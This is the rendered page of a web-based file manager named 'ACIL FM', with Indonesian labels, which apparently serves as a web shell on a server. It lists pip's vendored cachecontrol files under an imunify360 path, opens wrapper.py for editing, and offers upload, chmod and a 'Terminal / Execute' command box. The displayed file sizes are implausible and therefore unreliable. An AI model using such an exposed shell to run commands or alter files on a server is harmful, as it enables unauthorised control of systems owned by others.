ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360/venv/lib/python3.11/site-packages/pip/_vendor/cachecontrol
/
opt
imunify360
venv
lib
python3.11
site-packages
pip
_vendor
cachecontrol
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
caches
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
adapter.py
6.43 MB
chmod
View
DL
Edit
Rename
Delete
cache.py
1.91 MB
chmod
View
DL
Edit
Rename
Delete
controller.py
18.65 MB
chmod
View
DL
Edit
Rename
Delete
filewrapper.py
4.25 MB
chmod
View
DL
Edit
Rename
Delete
heuristics.py
4.77 MB
chmod
View
DL
Edit
Rename
Delete
LICENSE.txt
558 B
chmod
View
DL
Edit
Rename
Delete
py.typed
0 B
chmod
View
DL
Edit
Rename
Delete
serialize.py
5.04 MB
chmod
View
DL
Edit
Rename
Delete
wrapper.py
1.38 MB
chmod
View
DL
Edit
Rename
Delete
_cmd.py
1.7 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
820 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360/venv/lib/python3.11/site-packages/pip/_vendor/cachecontrol/wrapper.py
# SPDX-FileCopyrightText: 2015 Eric Larson # # SPDX-License-Identifier: Apache-2.0 from __future__ import annotations from typing import TYPE_CHECKING, Collection from pip._vendor.cachecontrol.adapter import CacheControlAdapter from pip._vendor.cachecontrol.cache import DictCache if TYPE_CHECKING: from pip._vendor import requests from pip._vendor.cachecontrol.cache import BaseCache from pip._vendor.cachecontrol.controller import CacheController from pip._vendor.cachecontrol.heuristics import BaseHeuristic from pip._vendor.cachecontrol.serialize import Serializer def CacheControl( sess: requests.Session, cache: BaseCache | None = None, cache_etags: bool = True, serializer: Serializer | None = None, heuristic: BaseHeuristic | None = None, controller_class: type[CacheController] | None = None, adapter_class: type[CacheControlAdapter] | None = None, cacheable_methods: Collection[str] | None = None, ) -> requests.Session: cache = DictCache() if cache is None else cache adapter_class = adapter_class or CacheControlAdapter adapter = adapter_class( cache, cache_etags=cache_etags, serializer=serializer, heuristic=heuristic, controller_class=controller_class, cacheable_methods=cacheable_methods, ) sess.mount("http://", adapter) sess.mount("https://", adapter) return sess
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply